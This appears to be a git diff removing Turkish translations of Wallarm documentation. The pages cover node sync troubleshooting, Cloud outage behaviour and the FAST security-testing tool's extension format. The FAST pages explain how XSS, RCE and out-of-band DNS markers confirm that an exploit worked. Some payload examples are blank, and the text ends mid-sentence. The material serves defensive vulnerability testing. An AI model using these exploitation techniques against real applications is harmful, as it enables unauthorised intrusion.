izin verebilir. Senkronizasyon sorunları, düğümlerin Cloud’dan hayati güvenlik politikalarını almasını engelleyerek düğümlerin işlevselliğini bozabilir. Bu sorunlar öncelikle, uygulama yığınının herhangi bir bölümünde güvenlik çözümünün eksikliği nedeniyle sistemin savunmasız hale gelebileceği **OWASP API8 (Security Misconfiguration)** tehdidiyle ilişkilidir. Bunu önlemek için, pano düğüm çalışmasına ilişkin sorunlar konusunda sizi uyarır, örn.: - -![Düğüm sorunları olan OWASP Dashboard](../images/user-guides/dashboard/owasp-dashboard-node-issues.png) - -Güvenli bir ortamı korumak için Wallarm düğümlerini düzenli olarak güncellemek ve senkronizasyon sorunlarını gidermek çok önemlidir. Wallarm düğüm sürümünüz [ömür sonuna geldiyse veya yaklaşıyorsa](../updating-migrating/versioning-policy.md#version-list), düğümünüzü en son sürüme yükseltmeniz önerilir. - -## Wallarm düğümü ile Cloud arasında senkronizasyon sorunları var - -Wallarm Cloud senkronizasyonuyla ilgili sorunlarla karşılaşırsanız, [ilgili ayarların](../admin-en/configure-cloud-node-synchronization-en.md) doğru olduğundan emin olun. - -Senkronizasyonu veya diğer sorunları çözmek ya da başka talepleriniz için yardıma ihtiyacınız olursa, [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçebilirsiniz. Analiz için aşağıdaki [logları](../admin-en/configure-logging.md) sağlayın: - -* `syncnode` betiğiyle ilgili herhangi bir sorun olup olmadığını kontrol etmek için `/opt/wallarm/var/log/wallarm/wcli-out.log` logları -* Dağıtım seçeneğine bağlı olarak, senkronizasyon sorununa ilişkin ek ayrıntılar sağlamak için `/var/log/syslog` veya `/var/log/messages` dizininden loglar - -### custom_ruleset ve proton.db - -Cloud-düğüm senkronizasyonu sırasında güncellenmesi gereken önemli dosyalar, [`custom_ruleset`](../user-guides/rules/rules.md#ruleset-lifecycle) ve [`proton.db`](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) dosyalarıdır. İşletim sisteminizde bunları arayın; `/opt/wallarm/etc/wallarm` içinde veya self-hosted düğüm [kurulum yöntemine](../installation/supported-deployment-options.md) bağlı olarak başka bir klasörde bulunabilirler. - -``` --rw-r--r-- 1 wallarm wallarm 93774 Aug 20 07:40 custom_ruleset --rw-r--r-- 1 wallarm wallarm 406 Jul 29 20:09 libproton.json --rw-r----- 1 wallarm wallarm 680 Aug 20 07:40 node.yaml --rw-r--r-- 1 wallarm wallarm 1675 Aug 20 07:40 private.key --rw-r--r-- 1 wallarm wallarm 363659 Aug 20 13:01 proton.db --rw-r--r-- 1 wallarm wallarm 6 Jul 29 20:11 version -``` - -Belirtilen ve diğer dosyaların grup değerleri doğru olmalıdır (ikinci sütunda `wallarm`); bu grup, NGINX worker’larını çalıştıran grupla aynı olmalıdır (`ps aux|grep nginx` ile kontrol edin) - -### custom_ruleset sürümü - -[`custom_ruleset`](../user-guides/rules/rules.md#ruleset-lifecycle) senkronizasyonundaki problemler, Wallarm destek grubu tarafından sizin için ayarlanan minimum custom ruleset sürümü ile düğüm sürümü arasındaki tutarsızlıktan kaynaklanabilir: - -1. Düğümün [istatistik hizmeti](../admin-en/configure-statistics-service.md#usage) üzerinden custom ruleset sürümünüzü alın - `custom_ruleset_ver`. Örneğin: - - ``` - curl -s http://127.0.0.8/wallarm-status | jq -c '{custom_ruleset_ver}' - ``` - -1. Wallarm düğüm sürümünüzü alın; örneğin Wallarm Console → **Nodes** → node ayrıntılarınız, pencerenin alt kısmından. -1. Ayarlarınızı Wallarm [API](../api/overview.md) üzerinden, `/v2/client/{clientid}/rules/settings` uç noktasından alın. Örneğin: - - ``` - curl -X GET "https://us1.api.wallarm.com/v2/client//rules/settings" \ - -H "accept: application/json" \ - -H 'X-WallarmAPI-Token: ' - ``` - -## Düğüm uuid’si ve/veya secret tespit edilemiyor - -Yeni oluşturulmuş veya güncellenmiş düğüm loglarında şu mesajı görebilirsiniz: "Can't detect node uuid and/or secret, please add node to cloud first." - -Düğüm oluşturma ve güncelleme sırasında, düğüm Cloud’a kaydedilir. Bahsedilen mesaj, bu kaydın başarısız olduğu anlamına gelebilir ve bu da düğüm ile Cloud’un senkronize olmasını engeller (yalnızca [temel](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) algılama [monitoring](../admin-en/configure-wallarm-mode.md) modunda; Cloud’dan [rules](../user-guides/rules/rules.md), [mitigation controls](../about-wallarm/mitigation-controls-overview.md) veya [lists](../user-guides/ip-lists/overview.md) gelmez, Cloud’a monitoring sonuçları ulaşmaz). - -**Düğüm kaydedildi** - -Düğümün başarıyla kaydedildiğinden emin olmanın en hızlı yolu, Wallarm Console → [**Nodes**](../user-guides/nodes/nodes.md) bölümünde varlığını kontrol etmektir. Devam eden senkronizasyon durumu da burada kontrol edilebilir. - -"Kaydedilmeyen düğüm" sorunlarını genel olarak çözmek için, [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçin. - -**Endişelenmenize gerek olmayan durumlar** - -Bazen, "Can't detect node uuid and/or secret, please add node to cloud first" mesajı, düğüm kayıt işlemi tamamlanmadan ÖNCE görünebilir ve logda şunu görürsünüz: - -``` -YYYY-MM-DD HH:MM:SS* INFO syncnodeXXXXX: Triggers result: 1 success, 0 skipped, 0 errors -``` - -Dolayısıyla, kayıt hataları bu mesajdan ÖNCE geliyorsa, onları yok sayabilirsiniz - kayıt tamamlandıktan sonra kaybolacaklardır. \ No newline at end of file diff --git a/docs/latest-tr/faq/wallarm-cloud-down.md b/docs/latest-tr/faq/wallarm-cloud-down.md deleted file mode 100644 index 224be91928..0000000000 --- a/docs/latest-tr/faq/wallarm-cloud-down.md +++ /dev/null @@ -1,91 +0,0 @@ -# Wallarm Cloud Devre Dışı - -Wallarm Cloud devre dışıysa, Wallarm düğümleri bazı sınırlamalarla saldırıların azaltılmasına devam eder. Daha fazlasını öğrenmek için bu sorun giderme kılavuzunu kullanın. - -## Wallarm Cloud devre dışıysa Wallarm düğümü nasıl çalışır? - -Wallarm Cloud son derece kararlı ve ölçeklenebilir bir hizmettir. Ek olarak, şirketinizin tüm hesap verileri [yedeklemeler](#how-does-wallarm-protect-its-cloud-data-from-loss) ile korunur. - -Ancak, nadir durumlarda Wallarm Cloud geçici olarak devre dışı kalırsa (örneğin bakım için duraklatıldığında), bir Wallarm düğümü bazı sınırlamalarla birlikte çalışmaya devam eder. - -!!! info "Wallarm Cloud durumunun kontrol edilmesi" - Wallarm Cloud durumunu kontrol etmek için [status.wallarm.com](https://status.wallarm.com/) adresini ziyaret edin. Haberdar olmak için güncellemelere abone olun. - -Çalışmaya devam edenler: - -* Cloud ile düğüm arasındaki son başarılı [senkronizasyon](../admin-en/configure-cloud-node-synchronization-en.md) sırasında düğüme yüklenen kuralları kullanarak yapılandırılmış [mode](../admin-en/configure-wallarm-mode.md#available-filtration-modes) içinde trafiğin işlenmesi. Aşağıdaki öğelerin en son sürümleri programa göre Cloud’dan düğüme yüklenip düğüm üzerinde yerel olarak saklandığından düğüm çalışmayı sürdürebilir: - - * [Özel kural seti](../user-guides/rules/rules.md#ruleset-lifecycle) - * [proton.db](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) - -* [IP lists](../user-guides/ip-lists/overview.md) de düğüme yüklenir ve onun içinde saklanır. Yüklenen adresler yalnızca son kullanma tarih/saatine kadar işlenmeye devam eder. - - Bu tarih/saatler Cloud geri yüklenip senkronize edilene kadar güncellenmeyecektir; ayrıca Cloud geri yüklenip senkronize edilene kadar yeni adres ekleme/kaldırma da olmayacaktır. - - Listelerdeki bazı IP adreslerinin süresinin dolması, bu adreslerle ilişkili [brute force saldırıları](../admin-en/configuration-guides/protecting-against-bruteforce.md) için korumanın durmasına yol açar. - -* Cloud’dan düğüme yapılan son başarılı yükleme sırasında düğüme yüklenen spesifikasyonlar kullanılarak [API Specification Enforcement](../api-specification-enforcement/overview.md). - -Çalışmayı durduranlar: - -* [API Attack Surface Management (AASM)](../api-attack-surface/overview.md). -* [Credential Stuffing Detection](../about-wallarm/credential-stuffing.md). -* [API Abuse Prevention](../api-abuse-prevention/overview.md). -* Düğüm, tespit edilen saldırılar ve güvenlik açıklarına ilişkin verileri toplar ancak bunları Cloud’a gönderemez. Düğümünüzün [postanalytics module](../admin-en/installation-postanalytics-en.md) bileşeninde, toplanan verilerin Cloud’a gönderilmeden önce geçici olarak saklandığı bellek içi bir depolama (wstore) bulunur. Cloud geri geldiğinde, arabelleğe alınan veriler ona gönderilir. - - !!! warning "Düğümün bellek içi depolama sınırı" - Arabellek boyutu [sınırlıdır](../admin-en/configuration-guides/allocate-resources-for-node.md#wstore) ve aşıldığında eski veriler silinir. Bu nedenle Cloud’un devre dışı kaldığı süre ve bu süre zarfında toplanan bilgi miktarı, Cloud geri geldikten sonra Wallarm Console içinde yalnızca bazı verileri görmenize yol açabilir. - -* Düğüm, işlenen trafik için [metrikleri](../admin-en/configure-statistics-service.md) toplar ancak Cloud’a gönderemez. -* [API Sessions](../api-sessions/overview.md) - Cloud devre dışıyken gerçekleşen meşru isteklerle ilgili tüm bilgiler kaybolur; saldırılarla ilgili bilgiler (Cloud geri geldikten sonra Cloud’a yüklenerek) sunulacaktır. -* [Triggers](../user-guides/triggers/triggers.md) çalışmayı durdurur ve dolayısıyla: - * [IP lists](../user-guides/ip-lists/overview.md) güncellenmeyi durdurur. - * [Trigger-based notifications](../user-guides/triggers/triggers.md) görünmez. -* [Discovering API inventory](../api-discovery/overview.md) çalışmaz. -* [Threat Replay Testing](../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) durur. -* [Brute force saldırıları](../admin-en/configuration-guides/protecting-against-bruteforce.md) tespit edilmez. -* Entegrasyonlar durur; buna şunlar dahildir: - * Anlık ve e-posta [notifications](../user-guides/settings/integrations/integrations-intro.md) görünmez. - * Raporlama durur. -* Wallarm Console’a erişim yok. -* [Wallarm API](../api/overview.md) yanıt vermez. - -Yukarıda açıklanan komple devre dışı durumun yanı sıra, bazen yalnızca belirli hizmetler geçici olarak erişilemez olabilirken diğerleri çalışmaya devam edebilir. Bu durumdaysa, [status.wallarm.com](https://status.wallarm.com/) hizmeti size ilgili bilgiyi sağlayacaktır. - -## Cloud geri geldikten sonra ne olur? - -Cloud geri geldikten sonra: - -* Wallarm Console’a erişim geri gelir. -* Düğüm, arabelleğe alınan bilgileri Cloud’a gönderir (yukarıdaki sınırlamaları dikkate alın). -* Triggers yeni verilere tepki vererek bildirimler gönderir ve IP’leri günceller. -* IP’lerde herhangi bir değişiklik varsa, bir sonraki senkronizasyon sırasında düğüme gönderilir. -* [tamamlanmamış özel kural seti](#is-there-a-case-when-node-did-not-get-settings-saved-in-wallarm-console-before-wallarm-cloud-is-down) oluşturma işlemi varsa, yeniden başlatılır. -* Cloud ile filtreleme düğümü, planlandığı şekilde normal biçimde senkronize olur. - -## Wallarm Cloud devre dışı kalmadan önce Wallarm Console’da kaydedilen ayarları düğümün alamadığı bir durum olabilir mi? - -Evet, bu mümkündür. Örneğin, [senkronizasyon](../admin-en/configure-cloud-node-synchronization-en.md) aralığının 3 dakika olduğunu ve: - -1. Özel kural setinin son derlemesinin Cloud üzerinde 21 dakika önce tamamlandığını ve düğüme 20 dakika önce yüklendiğini. -2. Sonraki 6 senkronizasyon sırasında Cloud’dan hiçbir şey alınmadığını çünkü yeni bir şey olmadığını. -3. Daha sonra Cloud üzerinde kuralların değiştirildiğini ve yeni bir derlemenin başladığını - derlemenin tamamlanması 4 dakika sürdü ancak 2 dakika içinde Cloud devre dışı kaldı. -4. Bir düğüm yalnızca tamamlanmış derlemeyi alır, dolayısıyla 2 dakika boyunca yapılan senkronizasyonlarda düğüme yüklenecek bir şey olmayacaktır. -5. 1 dakika sonra, düğüm yeni bir senkronizasyon isteğiyle gelir ancak Cloud yanıt vermez. -6. Düğüm, 24 dakikalık bir geçmişe sahip özel kural setine göre filtrelemeye devam eder ve Cloud devre dışıyken bu süre artar. - -## Wallarm, Cloud verilerini kayıptan nasıl korur? - -Wallarm Cloud, Wallarm Console’da bir kullanıcı tarafından sağlanan ve düğümlerden kendisine yüklenen **tüm verileri** saklar. Yukarıda belirtildiği gibi, Wallarm Cloud’un geçici olarak devre dışı kalması son derece nadir bir durumdur. Ancak bu gerçekleşirse, devre dışı kalma durumunun kaydedilmiş verileri etkileme olasılığı oldukça düşüktür. Bu, geri yüklemeden hemen sonra tüm verilerinizle çalışmaya anında devam edeceğiniz anlamına gelir. - -Wallarm Cloud’un gerçek verilerini depolayan sabit disklerin yok edildiği düşük olasılıkla başa çıkmak için Wallarm otomatik olarak yedeklemeler oluşturur ve gerekirse bunlardan geri yükler: - -* RPO: yedekleme her 24 saatte bir oluşturulur -* RTO: sistem en fazla 48 saat içinde tekrar kullanılabilir hale gelir -* En son 14 yedekleme saklanır - -!!! info "RPO/RTO koruma ve erişilebilirlik parametreleri" - * **RPO (recovery point objective)**, veri yedekleme sıklığını belirlemek için kullanılır: verilerin kaybolabileceği en fazla süreyi tanımlar. - * **RTO (recovery time objective)**, bir işletmenin, kesintiyle ilişkili tolere edilemez sonuçlardan kaçınmak için bir felaket sonrası kabul edilebilir hizmet seviyesinde süreçlerini geri yüklemek zorunda olduğu gerçek zaman miktarıdır. - -Wallarm olağanüstü durum kurtarma (DR) planı ve şirketinize özgü özellikleri hakkında daha fazla bilgi için [Wallarm desteğiyle iletişime geçin](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-tr/fast/README.md b/docs/latest-tr/fast/README.md deleted file mode 100644 index b8198a3173..0000000000 --- a/docs/latest-tr/fast/README.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -description: Wallarm'ın FAST'i, otomatik güvenlik testleri oluşturarak ve çalıştırarak web uygulamalarındaki güvenlik açıklarını belirlemek için özel olarak tasarlanmış bir araçtır. ---- - -[link-agreements]: agreements.md - -# Wallarm FAST Genel Bakış - -Wallarm'ın API Güvenlik Testi için Çerçevesi (FAST), güvenlik testlerini otomatik olarak oluşturarak ve çalıştırarak web uygulamalarındaki güvenlik açıklarını ortaya çıkarmanıza olanak tanıyan, bu amaç için özel olarak tasarlanmış bir araçtır. Bu tür güvenlik açıklarına SQL enjeksiyonları ve XSS örnek verilebilir. - -Hedef uygulamaya HTTP ve HTTPS isteklerini yeniden yönlendiren bir FAST düğümü, çözümün temel bir bileşenidir. Hedef uygulamaya giden istekleri yakalar ve orijinal istekleri değiştirerek bir güvenlik test seti oluşturur. Bu, fuzzing tekniklerinin ve bir güvenlik açıkları bilgi tabanının doğrudan FAST düğümüne dahil edilmesi sayesinde mümkündür. Düğüm, çok çeşitli kaynaklardan sorgular alabilir. Örneğin, mevcut bir otomatik test seti, FAST için sorgu kaynağı olarak hizmet edebilir. - -Bir test politikası, güvenlik testi üretim sürecinin parametrelerini tanımlar. Bu tür politikalar, çözümün başka bir bileşeni olan Wallarm Cloud kullanılarak oluşturulur. Bulut, kullanıcıya test politikaları oluşturma, test yürütme sürecini yönetme ve test sonuçlarını gözlemleme için bir arayüz sağlar. - -Güvenlik test seti hazırlandıktan sonra, FAST düğümü istekleri hedef uygulamaya göndererek test setini çalıştırır ve belirli güvenlik açıklarının varlığına ilişkin bir sonuç sunar. - -Yerleşik güvenlik açıkları bilgi tabanıyla birleştirilmiş otomasyon yetenekleri göz önüne alındığında, FAST; DevOps, güvenlik uzmanları, yazılım geliştiriciler ve QA mühendisleri için uygun bir araçtır. FAST ile güvenlik uzmanlarının derin bilgisinden güvenlik testi politikaları oluşturmak için yararlanmak mümkündür; aynı zamanda güvenlik alanında uzmanlığı olmayan geliştiricilere güvenlik testi üretimi ve yürütmesini otomatikleştirme olanağı sağlar. Böylece her iki ekip üyesi grubu da birbirleriyle eşzamansız olarak etkili bir şekilde iletişim kurabilir. FAST mimarisi, güvenlik testi üretimi ve yürütme süreçlerinin mevcut CI/CD sürecine entegre edilmesine olanak tanır; bu sayede geliştirilen yazılımın genel kalitesi artırılabilir. - ---8<-- "../include/fast/cloud-note-readme.md" - -!!! info "Metin biçimlendirme kuralları" - Bu kılavuzlar, istenen sonuca ulaşmak için girilmesi veya çalıştırılması gereken çeşitli metin dizeleri ve komutlar içerir. Kolaylık sağlaması için bunların tümü metin biçimlendirme kurallarına uygun şekilde biçimlendirilmiştir. Kuralları görmek için bu [bağlantıya][link-agreements] gidin. - - \ No newline at end of file diff --git a/docs/latest-tr/fast/agreements.md b/docs/latest-tr/fast/agreements.md deleted file mode 100644 index cb4173727d..0000000000 --- a/docs/latest-tr/fast/agreements.md +++ /dev/null @@ -1,13 +0,0 @@ -# Metin biçimlendirme kuralları - -Kılavuzlar boyunca girmeniz veya yürütmeniz gereken çeşitli metin dizgileri ve komutlarla karşılaşacaksınız. Gerektiğinde bazı dizgiler ve komut anahtar sözcükleri farklı biçimlerde gösterilecektir. Aşağıdaki kurallar kılavuzların tamamında geçerlidir: - - -| Biçimlendirme kuralı | Açıklama | -| ----------------------------- | ------------------------------------------------------------ | -|`düzenli` | Sabit genişlikli normal yazı tipiyle yazılan dizgiler bilgi amaçlıdır ve okuyucu tarafından girilmesi beklenmez.
              Bu tür dizgiler bir komut çıktısını veya başka bir bilgi parçasını temsil edebilir.| -|Örnek: | Bir Bash kabuğunun istemi:
              `$` | -|**`kalın`** | Kalın, sabit genişlikli yazı tipinde yazılmış dizgiler okuyucu tarafından olduğu gibi girilmelidir. | -|Örnek: | Linux'ta sistem bilgilerini görüntülemek için aşağıdaki komutu girin:
              `$` **`uname -a`** | -|*`italik`* veya *``* | İtalik, sabit genişlikli yazı tipiyle yazılmış dizgiler, okuyucu tarafından sağlanması gereken değerleri temsil eder. Örneğin, bir komut argümanı *``* şeklinde biçimlendirilmişse, *`*` yerine bu ad için bir değer sağlamalısınız.
              Bir girdi tek bir sözcükle tanımlanamıyorsa, dizgi bir çift açılı parantez <...> içine alınır. Bir değer girerken bu parantezleri yazmamalısınız. Örneğin, bir komut argümanı *``* olarak biçimlendirilmişse, parolayı < ve > simgeleri olmadan girmelisiniz. | -|Örnek: | `cat` komutu, Linux'ta bir dosyanın içeriğini aşağıdaki şekilde görüntülemek için kullanılabilir:
              `$` **`cat`** *`filename`*
              `$` **`cat`** *``*

              MyFile.txt adlı dosyanın içeriğini görüntülemeniz gerekiyorsa, aşağıdaki komutu çalıştırın:
              `cat MyFile.txt` | \ No newline at end of file diff --git a/docs/latest-tr/fast/cloud-list.md b/docs/latest-tr/fast/cloud-list.md deleted file mode 100644 index 8d9797299a..0000000000 --- a/docs/latest-tr/fast/cloud-list.md +++ /dev/null @@ -1,24 +0,0 @@ -# Wallarm Bulutları Listesi - -FAST'in çalışması iki buluta dayanır. Bu bulutlar coğrafi konuma göre ayrılmıştır. Şunlardır: -* Amerikan bulutu (diğer adıyla *US cloud*). -* Avrupa bulutu (diğer adıyla *EU cloud*). - -Çalışması sırasında FAST, bulutlardan birinde bulunan Wallarm portalı ve API sunucusuyla etkileşim kurar: -* US bulutu: - * Wallarm portalı: - * Wallarm API sunucusu: `us1.api.wallarm.com` -* EU bulutu: - * Wallarm portalı: - * Wallarm API sunucusu: `api.wallarm.com` - -!!! warning "Lütfen dikkat edin" - **Wallarm bulutlarıyla etkileşim kurma kuralları:** - - Yalnızca aynı bulutta bulunan Wallarm portalı ve API sunucusuyla etkileşim kurabilirsiniz. - - **Wallarm bulutları ve FAST dokümantasyonu:** - - * Basitlik adına, dokümantasyonun tamamında FAST'in Amerikan Wallarm bulutuyla etkileşim kurduğu varsayılmaktadır. - * Aksi belirtilmedikçe, dokümantasyondaki tüm bilgiler mevcut tüm bulutlar için eşit şekilde geçerlidir. - * Avrupa bulutuyla etkileşim kuruyorsanız, FAST ve dokümantasyonla çalışırken Wallarm portalı ve API sunucusunun ilgili adreslerini kullanın. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/create-extension.md b/docs/latest-tr/fast/dsl/create-extension.md deleted file mode 100644 index ec02648930..0000000000 --- a/docs/latest-tr/fast/dsl/create-extension.md +++ /dev/null @@ -1,86 +0,0 @@ -[link-points]: points/intro.md -[link-detect]: detect/phase-detect.md -[link-collect]: phase-collect.md -[link-match]: phase-match.md -[link-modify]: phase-modify.md -[link-send]: phase-send.md -[link-generate]: phase-generate.md -[link-extensions]: using-extension.md -[link-ext-logic]: logic.md -[link-vuln-list]: ../vuln-list.md - -[img-vulns]: ../../images/fast/dsl/en/create-extension/vulnerabilities.png -[img-vuln-details]: ../../images/fast/dsl/en/create-extension/vuln_details.png - -[anchor-meta-info]: #structure-of-the-meta-info-section - -# FAST Uzantılarının Oluşturulması - -!!! info "İstek öğelerini açıklama sözdizimi" - Bir FAST uzantısı oluştururken, points kullanarak çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için şu [bağlantıya][link-points] gidin. - -FAST uzantıları, uzantının çalışması için gerekli tüm bölümlerin ilgili YAML dosyasında tanımlanmasıyla oluşturulur. Farklı türdeki uzantılar kendi bölüm setlerini kullanır ([uzantı türleri hakkında ayrıntılı bilgi][link-ext-logic]). - -## Kullanılan Bölümler - -### Değişiklik Yapan Uzantı - -Bu uzantı türü aşağıdaki bölümleri kullanır: -* Zorunlu bölümler: - * `meta-info`—uzantının keşfetmeyi amaçladığı zafiyet hakkında bilgi içerir. Bu bölümün yapısı [aşağıda][anchor-meta-info] açıklanmıştır. - * `detect`—zorunlu Detect aşamasının açıklamasını içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-detect] bakın. -* İsteğe bağlı bölümler (bulunmayabilir): - * `collect`—isteğe bağlı Collect aşamasının açıklamasını içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-collect] bakın. - * `match`—isteğe bağlı Match aşamasının açıklamasını içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-match] bakın. - * `modify`—isteğe bağlı Modify aşamasının açıklamasını içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-modify] bakın. - * `generate`—isteğe bağlı Generate aşamasının açıklamasını içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-generate] bakın. - - -### Değişiklik Yapmayan Uzantı - -Bu uzantı türü aşağıdaki zorunlu bölümleri kullanır: -* `meta-info`—uzantının keşfetmeyi amaçladığı zafiyet hakkında bilgi içerir. Bu bölümün yapısı [aşağıda][anchor-meta-info] açıklanmıştır. -* `send`—temel istekte listelenen bir ana makineye gönderilecek önceden tanımlanmış test isteklerini içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-send] bakın. -* `detect`—zorunlu Detect aşamasının açıklamasını içerir. Bu aşama ve ilgili bölümün yapısı hakkında ayrıntılı bilgi için şu [bağlantıya][link-detect] bakın. - - -## `meta-info` Bölümünün Yapısı - -Bilgi amaçlı `meta-info` bölümü aşağıdaki yapıya sahiptir: - -``` -meta-info: - - title: - - type: - - threat: - - description: -``` - -* `title` — bir zafiyeti tanımlayan isteğe bağlı başlık dizgesi. Belirtilen değer, Wallarm web arayüzünde tespit edilen zafiyetlerin listesinde “Title” sütununda gösterilir. Bu değer, zafiyetin kendisini veya zafiyeti tespit eden belirli uzantıyı tanımlamak için kullanılabilir. - - ??? info "Örnek" - `title: "Example vulnerability"` - -* `type` — uzantının istismar etmeye çalıştığı zafiyet türünü tanımlayan zorunlu parametre. Belirtilen değer, Wallarm web arayüzünde tespit edilen zafiyetlerin listesinde “Type” sütununda gösterilir. Parametre, [burada][link-vuln-list] açıklanan değerlerden birini alabilir. - - ??? info "Örnek" - `type: sqli` - -* `threat` — zafiyetin tehdit seviyesini belirleyen isteğe bağlı parametre. Belirtilen değer, Wallarm web arayüzünde tespit edilen zafiyetlerin listesinde “Risk” sütununda görsel olarak gösterilecektir. Parametre 1 ile 100 arasında bir tam sayı değeri alabilir. Değer ne kadar büyükse zafiyetin tehdit seviyesi o kadar yüksektir. - - ??? info "Örnek" - `threat: 20` - - ![Bulunan zafiyetlerin listesi][img-vulns] - -* `description` — uzantının tespit ettiği zafiyetin açıklamasını içeren isteğe bağlı dizge parametresi. Bu bilgi, zafiyetin ayrıntılı açıklamasında gösterilecektir. - - ??? info "Örnek" - `description: "A demonstrational vulnerability"` - - ![Wallarm web arayüzünde zafiyetin ayrıntılı açıklaması][img-vuln-details] - -!!! info "FAST uzantılarını bağlama" - Bir uzantıyı FAST'e bağlamak için, uzantının YAML dosyasını içeren dizini FAST node Docker konteynerine mount etmeniz gerekir. Bağlama prosedürü hakkında ayrıntılı bilgi için şu [bağlantıya][link-extensions] gidin. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/detect/markers.md b/docs/latest-tr/fast/dsl/detect/markers.md deleted file mode 100644 index 31dcc2671d..0000000000 --- a/docs/latest-tr/fast/dsl/detect/markers.md +++ /dev/null @@ -1,21 +0,0 @@ -# Tespit Aşaması İşaretçilerle Nasıl Çalışır -İşaretçiler, bir güvenlik açığının test isteği tarafından istismar edilip edilmediğini kontrol etmeyi sağlayan kullanışlı araçlardır. İşaretçiler, tespit bölümündeki parametrelerin büyük çoğunluğuna yerleştirilebilir. - -Şu anda, FAST uzantıları aşağıdaki işaretçileri destekler: -* `STR_MARKER` dizge işaretçisi, rastgele sembollerden oluşan bir metin dizgesidir. - - Yükün bir parçası olarak `STR_MARKER` iletildiğinde, bunun yanıtta tespit edilmesi hedef uygulamaya yönelik saldırının başarılı olduğu anlamına gelebilir. - - Örneğin, sunucunun yanıtının HTML işaretlemesinde `alert` bulunması, uygulamada güvenlik açığı olduğu anlamına gelmeyebilir. Sunucu `` ifadesini kendi başına üretebilir. Yanıtta `alert` (`STR_MARKER`) bulunması, bunun, dizge işaretçisini içeren yükü barındıran test isteğine verilen yanıt olduğunu ifade eder (yani, güvenlik açığının istismarı başarılı olmuştur). - - Dizge işaretçisi çoğunlukla XXS güvenlik açıklarını istismar etmek için kullanılır. - -* Sayısal `CALC_MARKER`, güvenlik açığının istismarı sırasında hesaplanabilecek bir aritmetik ifadedir. - - Yükün bir parçası olarak `CALC_MARKER` iletildiğinde, hesaplanan ifadenin sonucunun yanıtta tespit edilmesi hedef uygulamaya yönelik saldırının başarılı olduğu anlamına gelebilir. - - Bu sayısal işaretçi çoğunlukla RCE güvenlik açıklarını istismar etmek için kullanılır. - -* `DNS_MARKER`, `abc123.wlrm.tl` gibi rastgele oluşturulan bir alan adıdır. Hedef uygulama bu adı bir IP adresine çözümlemeyi deneyebilir. - - Yükün bir parçası olarak `DNS_MARKER` iletildiğinde, oluşturulan alan adına yönelik DNS isteğinin tespit edilmesi hedef uygulamaya yönelik saldırının başarılı olduğu anlamına gelebilir. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/detect/parameters.md b/docs/latest-tr/fast/dsl/detect/parameters.md deleted file mode 100644 index 356fba808a..0000000000 --- a/docs/latest-tr/fast/dsl/detect/parameters.md +++ /dev/null @@ -1,455 +0,0 @@ -[link-markers]: markers.md - -[img-oob]: ../../../images/fast/dsl/en/phases/detect/oob.png -[img-response]: ../../../images/fast/dsl/en/phases/detect/response.png -[img-http-status]: ../../../images/fast/dsl/en/phases/detect/http-status.png -[img-headers]: ../../../images/fast/dsl/en/phases/detect/headers.png -[img-body]: ../../../images/fast/dsl/en/phases/detect/body.png -[img-html]: ../../../images/fast/dsl/en/phases/detect/html.png - -[anchor1]: #oob - -# Detect Aşaması Parametrelerinin Açıklaması - -!!! warning "Detect aşamasında bir güvenlik açığının tespiti" - Sunucu yanıtını kullanarak Detect aşamasında bir güvenlik açığını tespit etmek için, yanıtın `response` parametresinde açıklanan yanıta ait öğelerden birini içermesi veya `oob` parametresinde açıklanan Out-of-Band DNS işaretleyicilerinden birinin tetiklenmesi gerekir (Out-of-Band işaretleyiciler hakkında ayrıntılı bilgi için [aşağıda][anchor1] bakın). Aksi takdirde, herhangi bir güvenlik açığı bulunmadığı varsayılacaktır. - -!!! info "İşaretleyicilerin çalışma mantığı" - Detect aşaması sunucunun yanıtında herhangi bir yükten bir işaretleyici tespit ederse, saldırı başarılıdır; yani güvenlik açığı başarıyla istismar edilmiştir. Detect aşamasının işaretleyicilerle çalışma detaylarını görmek için bu [bağlantı][link-markers] üzerinden ilerleyin. - -## OOB - -`oob` parametresi, test isteği tarafından Out-Of-Band işaretleyicilerinin tetiklenmesini kontrol eder. - -![`oob` parametresinin yapısı][img-oob] - -!!! info "Sunucu yanıtında OOB işaretleyicisinin tespiti" - OOB işaretleyicisi sunucu yanıtında tespit edilirse, hedef uygulamada bir güvenlik açığı bulunduğu varsayılacaktır. - -* Yalnızca `oob` belirtilirse, Out-of-Band işaretleyicilerinden en az birinin tetiklenmesi beklenir. - - ``` - - oob - ``` - -* Tetiklenmesini kontrol etmek için Out-of-Band işaretleyicisinin tam türünü de belirtebilirsiniz. - - En az bir `DNS_MARKER` işaretleyicisinden birinin tetiklenmesi beklenir: - - ``` - - oob: - - dns - ``` - - !!! info "Mevcut OOB işaretleyicileri" - Şu anda yalnızca bir Out-of-Band işaretleyici mevcuttur: `DNS_MARKER`. - -!!! info "Out-of-Band saldırı mekanizması" - Out-of-Band (kaynak yükleme) saldırı mekanizması adını tam olarak yansıtır. Saldırı gerçekleştirilirken, kötü niyetli kişi sunucuyu dış kaynaktan kötü amaçlı içerik indirmeye zorlar. - - Örneğin, bir OOB DNS saldırısı gerçekleştirirken, kötü niyetli kişi alan adını `` etiketine şu şekilde gömebilir: ``. - - Sunucu kötü amaçlı isteği aldıktan sonra alan adını DNS 